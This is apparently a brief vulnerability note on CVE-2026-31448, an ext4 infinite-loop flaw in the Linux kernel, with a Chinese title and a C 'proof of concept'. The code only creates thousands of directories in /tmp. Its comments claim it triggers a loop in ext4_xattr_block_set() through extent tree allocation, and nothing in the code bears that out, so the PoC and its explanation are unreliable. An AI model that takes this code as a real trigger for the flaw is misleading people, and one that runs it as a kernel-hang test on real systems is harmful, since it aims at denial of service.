CVE-2026-31448: Linux内核ext4文件系统无限循环漏洞

#include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> /* * PoC for CVE-2026-31448 * This script attempts to trigger the infinite loop in ext4_xattr_block_set() * by creating multiple directories (mkdir) rapidly to stress the extent tree allocation. * Note: Successfully triggering this requires a specific filesystem state or * kernel configuration where the error handling path is hit. */ int main() { const char* base_dir = "/tmp/test_ext4_poc"; char dir_name[256]; mkdir(base_dir, 0777); for (int i = 0; i < 10000; i++) { snprintf(dir_name, sizeof(dir_name), "%s/dir_%d", base_dir, i); // Attempting to create directory to trigger ext4_ext_map_blocks if (mkdir(dir_name, 0777) != 0) { perror("mkdir failed"); } } printf("PoC execution finished. Check system dmesg for hangs.\n"); return 0; }